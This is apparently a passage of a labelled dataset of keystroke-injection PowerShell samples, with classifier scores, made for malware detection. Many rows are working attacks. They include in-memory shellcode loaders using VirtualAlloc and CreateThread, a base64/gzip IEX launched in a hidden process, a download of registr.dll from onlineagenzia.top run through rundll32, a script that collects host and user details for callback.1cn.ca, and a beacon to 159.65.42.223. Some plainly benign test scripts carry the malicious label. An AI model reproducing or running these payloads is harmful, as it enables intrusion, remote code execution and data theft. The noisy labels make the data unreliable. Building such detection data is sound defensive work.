0x82,0xa1,0x87,0xbc,0x7b,0x99,0x3f,0x24,0x26,0x51,0xde,0xa9,0xfc,0x1f,0xe0,0x22,0xf3,0xe0,0xae,0xc2,0x7e,0xf3,0x46,0x23,0x35,0xa9,0xc0,0x3c,0xe3,0xc4,0xec,0xa8,0x08,0x4f,0xbb,0x44,0x13,0xb6,0x8b,0xca,0xec,0x9d,0x80,0xc3,0x78,0x5e,0xfe,0x2b,0x6d,0x5e,0xfe,0x7d,0xe7,0x5e,0x96,0xd9,0x53,0x0d,0x83,0x25,0x4e,0x21,0x18,0xb0,0x71,0x10,0xcd,0x13,0x1a,0x9e,0x28,0x53,0x85,0x61,0x1f,0x65,0xf9,0xb7,0x59,0x13,0x13,0x04;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$Ilp=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($Ilp.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$Ilp,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2382584e-05,0.99994767
"win+r enter powershell enter enter enter $path = $Env:LOCALAPPDATA+'\qnjmEK.bin'; $client = New-Object System.Net.WebClient; $client.downloadfile('http://onlineagenzia.top/registr.dll',$path); C:\Windows\System32 enter undll32.exe $path,DllRegisterServer enter enter",1,1,5.741277e-05,0.99994254
"win+r powershell enter Describe ""Out-RsCatalogItem"" { Context ""Out-RsCatalogItem with min parameters""{ enter $folderName = 'SutOutRsCatalogItem_MinParameters' + [guid]::NewGuid() New-R enter sFolder -Path / -FolderName $folderName $folderPath = '/' + $folderName $local enter ResourcesPath = (Get-Item -Path "".\"").FullName + '\Tests\CatalogItems tab estResour enter ces' Write-RsFolderContent -Path $localResourcesPath -RsFolder $folderPath $ enter localFolderName = 'SutOutRsFolderContentTest' + [guid]::NewGuid() $currentLocal enter Path = (Get-Item -Path "".\"" ).FullName $destinationPath = $currentLocalPath + ' enter \' + $localFolderName enter enter",1,1,0.0054337885,0.9945662
"win+r powershell enter $user = whoami $ip = ipconfig /all | out-string $wmi = Get-WmiObject -Class Win3 enter 2_ComputerSystem | out-string $temp = [System.Text.Encoding]::UTF8.GetBytes($u enter ser) $userEnc = [System.Convert]::ToBase64String($temp) $temp = [System.Text.Enc enter oding]::UTF8.GetBytes($ip) $ipEnc = [System.Convert]::ToBase64String($temp) $tem enter p = [System.Text.Encoding]::UTF8.GetBytes($wmi) $wmiEnc = [System.Convert]::ToBa enter se64String($temp) $url = ""https://callback.1cn.ca/information.html"" enter",1,1,0.0004204371,0.9995796
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_y2w2cw4g"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.json"") -Encoding UTF8 enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 20 Name, Id, Path, Company | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_20.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4803776e-05
"win+r powershell enter $VRNdfHZuQV=""http://159.65.42.223/c/414E7993B94A9867"" $ZbXntfwbhb = $xSDLKJVMkr; enter $bsbOSqZuAn = ([System.Security.Principal.WindowsIdentity]::GetCurrent()).User. enter Value $CnGTfIytRz = ""S-1-5-18"" if ($bsbOSqZuAn -eq $CnGTfIytRz) { $ZbXntfwbhb enter = $gyZCzWxLjt } else { $ZbXntfwbhb = ([Security.Principal.WindowsPrincipal] [Se enter curity.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.Wi enter ndowsBuiltInRole] ""Administrator"") } $mvFRdGsrxD = $(whoami) enter enter",1,1,5.5279615e-05,0.9999447
"win+r powershell enter ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -w hidden -e aQ enter BmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbw enter B3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbg enter BkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQ enter BsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQ enter B3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcg enter BvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOw enter AkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQ enter BjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdw enter AtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcg enter AoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcw enter BpAG8AbgAuAEcAegBpAH enter enter",1,1,6.272485e-05,0.9999373
win+r powershell enter [CmdletBinding()] param( ) Set-StrictMode -Version Latest & (Join-Path $PSSCri enter ptRoot ..\Import-Carbon.ps1 -Resolve) $deploymentWritersGroupName = 'Deployment enter Writers' $deploymnetReadersGroupName = 'DeploymentReaders' $ccnetServiceUser = ' enter example.com\CCServiceUser' enter enter,1,1,0.006245762,0.9937542
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_alqe9ufj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 50 ProcessName, Id, StartTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_50.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4400837e-05
"win+r enter powershell enter enter enter $Wfr = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $Wfr -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdd,0xc2,0xbd,0xb0,0x11,0x3e,0xa9,0xd9,0x74,0x24,0xf4,0x5a,0x31,0xc9,0xb1,0x47,0x31,0x6a,0x18,0x03,0x6a,0x18,0x83,0xea,0x4c,0xf3,0xcb,0x55,0x44,0x76,0x33,0xa6,0x94,0x17,0xbd,0x43,0xa5,0x17,0xd9,0x00,0x95,0xa7,0xa9,0x45,0x19,0x43,0xff,0x7d,0xaa,0x21,0x28,0x71,0x1b,0x8f,0x0e,0xbc,0x9c,0xbc,0x73,0xdf,0x1e,0xbf,0xa7,0x3f,0x1f,0x70,0xba,0x3e,0x58,0x6d,0x37,0x12,0x31,0xf9,0xea,0x83,0x36,0xb7,0x36,0x2f,0x04,0x59,0x3f,0xcc,0xdc,0x58,0x6e,0x43,0x57,0x03,0xb0,0x65,0xb4,0x3f,0xf9,0x7d,0xd9,0x7a,0xb3,0xf6,0x29,0xf0,0x42,0xdf,0x60,0xf9,0xe9,0x1e,0x4d,0x08,0xf3,0x67,0x69,0xf3,0x86,0x91,0x8a,0x8e,0x90,0x65,0xf1,0x54,0x14,0x7e,0x51,0x1e,0x8e,0x5a,0x60,0xf3,0x49,0x28,0x6e,0xb8,0x1e,0x76,0x72,0x3f,0xf2,0x0c,0x8e,0xb4,0xf5,0xc2,0x07,0x8e,0xd1,0xc6,0x4c,0x54,0x7b,0x5e,0x28,0x3b,0x84,0x80,0x93,0xe4,0x20,0xca,0x39,0xf0,0x58,0x91,0x55,0x35,0x51,0x2a,0xa5,0x51,0xe2,0x59,0x97,0xfe,0x58,0xf6,0x9b,0x77,0x47,0x01,0xdc,0xad,0x3f,0x9d,0x23,0x4e,0x40,0xb7,0xe7,0x1a,0x10,0xaf,0xce,0x22,0xfb,0x2f,0xef,0xf6,0x96,0x2a,0x67,0x40,0x16,0xa9,0x2b,0xda,0xd5,0xd1,0xde,0x1f,0x53,0x37,0xb0,0x4f,0x33,0xe8,0x70,0x20,0xf3,0x58,0x18,0x2a,0xfc,0x87,0x38,0x55,0xd6,0xaf,0xd2,0xba,0x8f,0x98,0x4a,0x22,0x8a,0x53,0xeb,0xab,0x00,0x1e,0x2b,0x27,0xa7,0xde,0xe5,0xc0,0xc2,0xcc,0x91,0x20,0x99,0xaf,0x37,0x3e,0x37,0xc5,0xb7,0xaa,0xbc,0x4c,0xe0,0x42,0xbf,0xa9,0xc6,0xcc,0x40,0x9c,0x5d,0xc4,0xd4,0x5f,0x09,0x29,0x39,0x60,0xc9,0x7f,0x53,0x60,0xa1,0x27,0x07,0x33,0xd4,0x27,0x92,0x27,0x45,0xb2,0x1d,0x1e,0x3a,0x15,0x76,0x9c,0x65,0x51,0xd9,0x5f,0x40,0x63,0x25,0xb6,0xac,0x11,0x47,0x0a;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$kQkf=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($kQkf.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$kQkf,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2003666e-05,0.999948
"win+r enter powershell enter enter enter function BuildSetup { enter enter [CmdletBinding()] enter param( enter [Parameter(Mandatory = $true)] enter [scriptblock]$setup enter ) enter enter $psake.context.Peek().buildSetupScriptBlock = $setup enter } enter if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAGgn/VcCA71Wa2/aSBT9nEr9D1aFhK0SDITmJVXaMeb9CMTBvBZVE3tsBgYPGY8ToNv/vteAG9Imu91+WAvkedw7c+bcc+faiwJHUh4oAZKDsmALOrebytf37066WOCloqaEFBc5L6OkSIcMt5+ajUK/vtZOTsAkNafnt1c3D2KhfFbUCVqtTL7ENJheX5ciIUgg9/1slUgUhmR5zygJVU35SxnMiCCnN/dz4kjlq5L6kq0yfo/ZwWxTws6MKKcocOO5FndwjDJrrRiVavrPP9Pa5DQ/zZYfIsxCNW1tQkmWWZextKZ80+IN7zYroqbb1BE85J7MDmhwVsj2gxB7pAOrPZI2kTPuhmkNjgI/QWQkAuX5UPEqexs1Dc2u4A5yXUFCcMnWg0e+IGoqiBjLKH+okwOE2yiQdElgXhLBVxYRj9QhYbaGA5eRW+JN1Q55Sk7+q07qsRNYdaXQMhCct7C2uRsxsndPaz+jPURVg+fHyAIb396/e//OS5RBWOlYENA6mezaBMCqXR7SndlnJZdR2rAjllxsoJu6ExHRpsokjsRkOlVSDjHPO5fdzNtL5BN7sL73zUaESw4MT2xO3Sm4HUKVmj9070xMxpvLL6t4/m3pmcSjATE3AV5SJ1GX+loMiMfI7sTZxKwDANX0YYK4JmHExzImNKNMfnYrL6n87mtElLlEIAfiGAIqCLH2Esw+Rmq6HrTJEijb99MQDw80TRLrg443ye5xH4zSJYbDMKN0I0gqJ6NYBDPiZhQUhPQwhSLJd830M9x2xCR1cCiT5abaj3we9i3xIJQiciCawMGdtSIOxSymJKPUqEuMjUX9ZP/0q4SUMGM08GGlRwgIjMREWDLWiACoiR60rEVkfbliZAlmu0SvMOxDWh/yYqcr7BM3/RbYRPp7ncf0JLwcQYWYW4zLjGJTIeHeiKlORPbbaI4vjmNcJUEOwVKTjJoYGxknQircjK36ciyHfW8dq/fA3I4nIYGjiuBLA4fkvGhJAQyqH/QbWkLwjOoBazvGgubRE83X2/Dv07M6Ny/cZmNe04W5nnmoHtbbta7Zq9WKjw3LLkqrXJfNbl22y8P53EK12/5Ijuuodkdzi1Fxu2rQrdVC7mitn2+N7VPOWG/nvuuNTM/zLzzrNv+pQluDUs/IFXDLLEetgfFk5IphmT7VerTfWzQq8n5kM9z3dH+Yv8J03RJzO8/b2zpC1dmZs214dnXWdjejmn41KC5QGaFSULYrBm+ODIG6uo19mz81fQMVfDhrE1My7vUrRq9XMVC/On8wr3QffId4ZgzsAh2vhrcz6FcAQlPPFesu2fJRD0iqcoT9W7DxSwVn5oGN+REZHzs8LOCFwZEBNpXxA+AarSpdBvN3/QJHNusMMWqNNxVdz4+6RVTL0UHVR/GS2Dd6GIWP5tbU87bL3cGnzsjT7SG70M3S3crxdF1/qplNZ5xfX95cXLYG1F5y1Nd1+0OsExBK6p54nfGm3DiK+Vs3fxuLcIYZaAFu8yRXK1xUDrdyl9PYQ1Vf1O0FEQFhUOagECYqR4xxJy4W8T0OdWpfPaaQsH1onhVebWnKd0PtuXwkQ9fXYwALKXMs5GyLBL6cZXLrs1wOSkFuXczBwX/9oCW+2qgvlszEJeU7az/ux3b7aXFmpdzZl/H/w+ohr2fwcv+F1eexf5j9JaZzmWcWfpp6OfCfKP9tFgaYSvCw4G5iZF9HXyXjoKajL5A4UqAR7/DE34I3kTztwIfJ32oebA2MCgAA''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s); enter [decoded_payloads] enter [decoded:long_base64_literal] enter function nAtWErlkijVK { enter Param ($rtr70f, $eNeXz5KJ2UIx) enter $ji6R9Oqrk = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') enter enter return $ji6R9Oqrk.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($ji6R9Oqrk.GetMethod('GetModuleHandle')).Invoke($null, @($rtr70f)))), $eNeXz5KJ2UIx)) enter } enter enter function elC { enter Param ( enter [Parameter(Position = 0, Mandatory = $True)] [Type[]] $ceD6N8P, enter [Parameter(Position = 1)] [Type] $bgDJuaCc = [Void] enter ) enter enter $jqPTDaeZy8_p = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) enter $jqPTDaeZy8_p.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $ceD6N8P).SetImplementationFlags('Runtime, Managed') enter $jqPTDaeZy8_p.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $bgDJuaCc, $ceD6N8P).SetImplementationFlags('Runtime, Managed') enter enter return $jqPTDaeZy8_p.CreateType() enter } enter enter [Byte[]]$syZSImZtXUfx = [System.Convert]::FromBase64String(""/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYH/9W4kAEAACnEVFBoKYBrAP/VagVowKgBA2gCAAKaieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoYQAAAGoAagRWV2gC2chf/9WD+AB+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH0iWGgAQAAAagBQaAsvDzD/1VdodW5NYf/VXl7/DCTpcf///wHDKcZ1x8O78LWiVmoAU//V"") enter enter $befNZyEJ = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((nAtWErlkijVK kernel32.dll VirtualAlloc), (elC @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $syZSImZtXUfx.Length,0x3000, 0x40) enter [System.Runtime.InteropServices.Marshal]::Copy($syZSImZtXUfx, 0, $befNZyEJ, $syZSImZtXUfx.length) enter enter $dh_Z = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((nAtWErlkijVK kernel32.dll CreateThread), (elC @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$befNZyEJ,[IntPtr]::Zero,0,[IntPtr]::Zero) enter [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((nAtWErlkijVK kernel32.dll WaitForSingleObject), (elC @([IntPtr], [Int32]))).Invoke($dh_Z,0xffffffff) | Out-Null enter enter",1,1,5.561888e-05,0.9999443
"win+r enter powershell enter enter enter Clear-Host enter enter Function RenameWindow ($Title) { enter Set-Variable -Name a -Scope Local -Force enter enter $a = (Get-Host).UI.RawUI enter $a.WindowTitle = $Title enter Remove-Variable -Name a -Scope Local -Force enter enter } enter enter Function GetProductName($Description) { enter Set-Variable -Name AppLocal -Scope Local -Force enter Set-Variable -Name AppName -Scope Local -Force enter Set-Variable -Name Desc -Scope Local -Force enter Set-Variable -Name IDLocal -Scope Local -Force enter Set-Variable -Name IDNumber -Scope Local -Force enter Set-Variable -Name Uninstaller -Scope Local -Force enter $Description = [char]34+""description like""+[char]32+[char]39+[char]37+$Description+[char]37+[char]39+[char]34 enter $Desc = wmic product where $Description get Description enter $Uninstaller = wmic product where $Description get IdentifyingNumber enter $Desc | ForEach-Object { enter $_ = $_.Trim() enter if(($_ -ne ""Description"")-and($_ -ne """")){ enter $AppName += $_ enter } enter } enter $Uninstaller | ForEach-Object { enter $_ = $_.Trim() enter if(($_ -ne ""IdentifyingNumber"")-and($_ -ne """")){ enter $IDNumber += $_ enter } enter } enter $AppLocal = New-Object System.Object enter $AppLocal | Add-Member -type NoteProperty -name Application -value $AppName enter If ($AppName -ne $null) { enter $AppLocal | Add-Member -type NoteProperty -name GUID -value $IDNumber enter } else { enter $AppLocal | Add-Member -type NoteProperty -name Status -value ""Not Installed"" enter } enter $AppLocal enter Remove-Variable -Name AppLocal -Scope Local -Force enter Remove-Variable -Name AppName -Scope Local -Force enter Remove-Variable -Name Desc -Scope Local -Force enter Remove-Variable -Name IDLocal -Scope Local -Force enter Remove-Variable -Name IDNumber -Scope Local -Force enter Remove-Variable -Name Uninstaller -Scope Local -Force enter enter } enter enter RenameWindow ""Product Name and GUID"" enter GetProductName ""Office Professional Plus"" enter GetProductName ""Microsoft Lync 2013"" enter GetProductName ""Adobe Reader"" enter GetProductName ""Microsoft Visio Professional"" enter enter",0,0,0.9999422,5.7790803e-05
"win+r powershell enter Set-StrictMode -Version Latest Describe ""Ensuring Set-TestInconclusive is depre enter cated"" { Context ""Set-TestInconclusive calls Set-ItResult -Inconclusive"" { InM enter oduleScope -Module Pester { if (-not($PSVersionTable.PSVersion.Major -eq enter 2)) { It ""Set-TestInconclusive calls Set-ItResult internally"" { Mock Set-ItRes enter ult { } try { enter enter",1,1,0.0006642124,0.9993357
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x02,0xc4,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.15984e-05,0.9999484
"win+r enter powershell enter enter enter Param( enter [Parameter(Mandatory=$true, Position=0)] enter [string] $TestRunNameSpace, enter [Parameter(Mandatory=$false, Position=1)] enter [string] $Vault = """", enter [Parameter(Mandatory=$false, Position=2)] enter [string] $StorageResourceId = $null enter ) enter enter . (Join-Path $PSScriptRoot ""..\..\..\..\Common\Commands.ScenarioTests.Common\Common.ps1"") enter . (Join-Path $PSScriptRoot ""..\..\..\..\Common\Commands.ScenarioTests.Common\Assert.ps1"") enter . (Join-Path $PSScriptRoot ""Common.ps1""); enter . (Join-Path $PSScriptRoot ""VaultUITests.ps1""); enter enter $global:totalCount = 0; enter $global:passedCount = 0; enter $global:passedTests = @() enter $global:failedTests = @() enter $global:times = @{} enter $global:testns = $TestRunNameSpace+""UI"" enter $global:testVault = $Vault enter $global:storageResourceId = $StorageResourceId enter enter function Run-TestProtected enter { enter param([ScriptBlock]$script, [string] $testName) enter $testStart = Get-Date enter try enter { enter Write-Host -ForegroundColor Green ===================================== enter Write-Host -ForegroundColor Green ""Running test $testName"" enter Write-Host -ForegroundColor Green ===================================== enter Write-Host enter &$script enter $global:passedCount = $global:passedCount + 1 enter Write-Host enter Write-Host -ForegroundColor Green ===================================== enter Write-Host -ForegroundColor Green ""Test Passed"" enter Write-Host -ForegroundColor Green ===================================== enter Write-Host enter $global:passedTests += $testName enter } enter catch enter { enter Out-String -InputObject $_.Exception | Write-Host -ForegroundColor Red enter Write-Host enter Write-Host -ForegroundColor Red ===================================== enter Write-Host -ForegroundColor Red ""Test Failed"" enter Write-Host -ForegroundColor Red ===================================== enter Write-Host enter $global:failedTests += $testName enter } enter finally enter { enter $testEnd = Get-Date enter $testElapsed = $testEnd - $testStart enter $global:times[$testName] = $testElapsed enter $global:totalCount = $global:totalCount + 1 enter } enter } enter Write-Host Delete log files enter Cleanup-LogFiles $invocationPath enter enter $testkeyVault = Get-KeyVault enter Write-Host Test key vault is $testKeyVault enter Write-Host Initializing Certificate Tests enter Cleanup-OldCertificates enter Write-Host Initializing Managed Storage Account Tests enter Cleanup-OldManagedStorageAccounts enter Write-Host Initializing Key Tests enter Cleanup-OldKeys enter Write-Host Initializing Secret Tests enter Cleanup-OldSecrets enter Write-Host Initialization Completed enter enter $global:startTime = Get-Date enter Run-TestProtected { Run-KeyTest {Test_RemoveKeyWithTwoConfirmations} ""Test_RemoveKeyWithTwoConfirmations"" } ""Test_RemoveKeyWithTwoConfirmations"" enter Run-TestProtected { Run-KeyTest {Test_RemoveKeyWithOneConfirmations} ""Test_RemoveKeyWithOneConfirmations"" } ""Test_RemoveKeyWithOneConfirmations"" enter Run-TestProtected { Run-KeyTest {Test_CancelKeyRemovalOnce} ""Test_CancelKeyRemovalOnce"" } ""Test_CancelKeyRemovalOnce"" enter Run-TestProtected { Run-KeyTest {Test_ConfirmThenCancelKeyRemoval} ""Test_ConfirmThenCancelKeyRemoval"" } ""Test_ConfirmThenCancelKeyRemoval"" enter Run-TestProtected { Run-SecretTest {Test_RemoveSecretWithTwoConfirmations} ""Test_RemoveSecretWithTwoConfirmations"" } ""Test_RemoveSecretWithTwoConfirmations"" enter Run-TestProtected { Run-SecretTest {Test_RemoveSecretWithOneConfirmations} ""Test_RemoveSecretWithOneConfirmations"" } ""Test_RemoveSecretWithOneConfirmations"" enter Run-TestProtected { Run-SecretTest {Test_CancelSecretRemovalOnce} ""Test_CancelSecretRemovalOnce"" } ""Test_CancelSecretRemovalOnce"" enter Run-TestProtected { Run-SecretTest {Test_ConfirmThenCancelSecretRemoval} ""Test_ConfirmThenCancelSecretRemoval"" } ""Test_ConfirmThenCancelSecretRemoval"" enter Run-TestProtected { Run-CertificateTest {Test_RemoveCertificateWithTwoConfirmations} ""Test_RemoveCertificateWithTwoConfirmations"" } ""Test_RemoveCertificateWithTwoConfirmations"" enter Run-TestProtected { Run-CertificateTest {Test_RemoveCertificateWithOneConfirmations} ""Test_RemoveCertificateWithOneConfirmations"" } ""Test_RemoveCertificateWithOneConfirmations"" enter Run-TestProtected { Run-CertificateTest {Test_CancelCertificateRemovalOnce} ""Test_CancelCertificateRemovalOnce"" } ""Test_CancelCertificateRemovalOnce"" enter Run-TestProtected { Run-CertificateTest {Test_ConfirmThenCancelCertificateRemoval} ""Test_ConfirmThenCancelCertificateRemoval"" } ""Test_ConfirmThenCancelCertificateRemoval"" enter Run-TestProtected { Run-ManagedStorageAccountTest {Test_RemoveManagedStorageAccountWithTwoConfirmations} ""Test_RemoveManagedStorageAccountWithTwoConfirmations"" } ""Test_RemoveManagedStorageAccountWithTwoConfirmations"" enter Run-TestProtected { Run-ManagedStorageAccountTest {Test_RemoveManagedStorageAccountWithOneConfirmations} ""Test_RemoveManagedStorageAccountWithOneConfirmations"" } ""Test_RemoveManagedStorageAccountWithOneConfirmations"" enter Run-TestProtected { Run-ManagedStorageAccountTest {Test_CancelManagedStorageAccountRemovalOnce} ""Test_CancelManagedStorageAccountRemovalOnce"" } ""Test_CancelManagedStorageAccountRemovalOnce"" enter Run-TestProtected { Run-ManagedStorageAccountTest {Test_ConfirmThenCancelManagedStorageAccountRemoval} ""Test_ConfirmThenCancelManagedStorageAccountRemoval"" } ""Test_ConfirmThenCancelManagedStorageAccountRemoval"" enter Run-TestProtected { Run-ManagedStorageAccountTest {Test_RemoveManagedStorageSasDefinitionWithTwoConfirmations} ""Test_RemoveManagedStorageSasDefinitionWithTwoConfirmations"" } ""Test_RemoveManagedStorageSasDefinitionWithTwoConfirmations"" enter Run-TestProtected { Run-ManagedStorageAccountTest {Test_RemoveManagedStorageSasDefinitionWithOneConfirmations} ""Test_RemoveManagedStorageSasDefinitionWithOneConfirmations"" } ""Test_RemoveManagedStorageSasDefinitionWithOneConfirmations"" enter Run-TestProtected { Run-ManagedStorageAccountTest {Test_CancelManagedStorageSasDefinitionRemovalOnce} ""Test_CancelManagedStorageSasDefinitionRemovalOnce"" } 